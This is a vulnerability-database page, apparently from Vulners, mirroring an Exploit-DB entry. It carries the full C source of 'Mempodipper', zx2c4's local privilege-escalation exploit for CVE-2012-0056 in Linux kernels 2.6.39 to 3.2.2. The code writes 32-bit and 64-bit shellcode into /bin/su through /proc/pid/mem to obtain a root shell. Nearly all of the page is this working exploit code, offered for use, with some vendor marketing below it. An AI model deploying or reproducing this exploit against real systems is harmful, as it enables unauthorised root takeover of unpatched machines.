Lucene search
K

Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) - 'Mempodipper' Local Privilege Escalation (1)

🗓️ 23 Jan 2012 00:00:00Reported by zx2c4Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 315 Views

Linux Kernel 2.6.39 < 3.2.2 Local Privilege Escalatio

Related
Code
/*
Exploit code is here: http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c
Blog post about it is here: http://blog.zx2c4.com/749
EDB-Note: Updated version can be found here: https://www.exploit-db.com/exploits/35161/

# Exploit Title: Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64-bit
# Date: Jan 21, 2012
# Author: zx2c4
# Tested on: Gentoo, Ubuntu
# Platform: Linux
# Category: Local
# CVE-2012-0056


 * Mempodipper
 * by zx2c4
 * 
 * Linux Local Root Exploit
 * 
 * Rather than put my write up here, per usual, this time I've put it
 * in a rather lengthy blog post: http://blog.zx2c4.com/749
 * 
 * Enjoy.
 * 
 * - zx2c4
 * Jan 21, 2012
 * 
 * CVE-2012-0056
 */

#define _LARGEFILE64_SOURCE 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <fcntl.h>
#include <unistd.h>
#include <limits.h>

char *socket_path = "/tmp/.sockpuppet";
int send_fd(int fd)
{
	char buf[1];
	struct iovec iov;
	struct msghdr msg;
	struct cmsghdr *cmsg;
	struct sockaddr_un addr;
	int n;
	int sock;
	char cms[CMSG_SPACE(sizeof(int))];
	
	if ((sock = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
		return -1;
	memset(&addr, 0, sizeof(addr));
	addr.sun_family = AF_UNIX;
	strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
	if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0)
		return -1;

	buf[0] = 0;
	iov.iov_base = buf;
	iov.iov_len = 1;

	memset(&msg, 0, sizeof msg);
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	msg.msg_control = (caddr_t)cms;
	msg.msg_controllen = CMSG_LEN(sizeof(int));

	cmsg = CMSG_FIRSTHDR(&msg);
	cmsg->cmsg_len = CMSG_LEN(sizeof(int));
	cmsg->cmsg_level = SOL_SOCKET;
	cmsg->cmsg_type = SCM_RIGHTS;
	memmove(CMSG_DATA(cmsg), &fd, sizeof(int));

	if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
		return -1;
	close(sock);
	return 0;
}

int recv_fd()
{
	int listener;
	int sock;
	int n;
	int fd;
	char buf[1];
	struct iovec iov;
	struct msghdr msg;
	struct cmsghdr *cmsg;
	struct sockaddr_un addr;
	char cms[CMSG_SPACE(sizeof(int))];

	if ((listener = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
		return -1;
	memset(&addr, 0, sizeof(addr));
	addr.sun_family = AF_UNIX;
	strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
	unlink(socket_path);
	if (bind(listener, (struct sockaddr*)&addr, sizeof(addr)) < 0)
		return -1;
	if (listen(listener, 1) < 0)
		return -1;
	if ((sock = accept(listener, NULL, NULL)) < 0)
		return -1;
	
	iov.iov_base = buf;
	iov.iov_len = 1;

	memset(&msg, 0, sizeof msg);
	msg.msg_name = 0;
	msg.msg_namelen = 0;
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;

	msg.msg_control = (caddr_t)cms;
	msg.msg_controllen = sizeof cms;

	if ((n = recvmsg(sock, &msg, 0)) < 0)
		return -1;
	if (n == 0)
		return -1;
	cmsg = CMSG_FIRSTHDR(&msg);
	memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
	close(sock);
	close(listener);
	return fd;
}

int main(int argc, char **argv)
{
	if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
		char parent_mem[256];
		sprintf(parent_mem, "/proc/%s/mem", argv[2]);
		printf("[+] Opening parent mem %s in child.\n", parent_mem);
		int fd = open(parent_mem, O_RDWR);
		if (fd < 0) {
			perror("[-] open");
			return 1;
		}
		printf("[+] Sending fd %d to parent.\n", fd);
		send_fd(fd);
		return 0;
	}
	
	printf("===============================\n");
	printf("=          Mempodipper        =\n");
	printf("=           by zx2c4          =\n");
	printf("=         Jan 21, 2012        =\n");
	printf("===============================\n\n");
	
	int parent_pid = getpid();
	if (fork()) {
		printf("[+] Waiting for transferred fd in parent.\n");
		int fd = recv_fd();
		printf("[+] Received fd at %d.\n", fd);
		if (fd < 0) {
			perror("[-] recv_fd");
			return -1;
		}
		printf("[+] Assigning fd %d to stderr.\n", fd);
		dup2(2, 6);
		dup2(fd, 2);

		unsigned long address;
		if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
			address = strtoul(argv[2], NULL, 16);
		else {
			printf("[+] Reading su for exit@plt.\n");
			// Poor man's auto-detection. Do this in memory instead of relying on objdump being installed.
			FILE *command = popen("objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
			char result[32];
			result[0] = 0;
			fgets(result, 32, command);
			pclose(command);
			address = strtoul(result, NULL, 16);
			if (address == ULONG_MAX || !address) {
				printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
				printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);
				return 1;
			}
			printf("[+] Resolved exit@plt to 0x%lx.\n", address);
		}
		printf("[+] Calculating su padding.\n");
		FILE *command = popen("su this-user-does-not-exist 2>&1", "r");
		char result[256];
		result[0] = 0;
		fgets(result, 256, command);
		pclose(command);
		unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
		unsigned long offset = address - su_padding;
		printf("[+] Seeking to offset 0x%lx.\n", offset);
		lseek64(fd, offset, SEEK_SET);
		
#if defined(__i386__)
		// See shellcode-32.s in this package for the source.
		char shellcode[] =
			"\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
			"\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
			"\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
			"\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
			"\x80";
#elif defined(__x86_64__)
		// See shellcode-64.s in this package for the source.
		char shellcode[] =
			"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"
			"\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"
			"\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"
			"\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"
			"\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";

#else
#error "That platform is not supported."
#endif
		printf("[+] Executing su with shellcode.\n");
		execl("/bin/su", "su", shellcode, NULL);
	} else {
		char pid[32];
		sprintf(pid, "%d", parent_pid);
		printf("[+] Executing child from child fork.\n");
		execl("/proc/self/exe", argv[0], "-c", pid, NULL);
	}
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Jan 2012 00:00Current
7High risk
Vulners AI Score7
CVSS 26.9
EPSS0.64291
315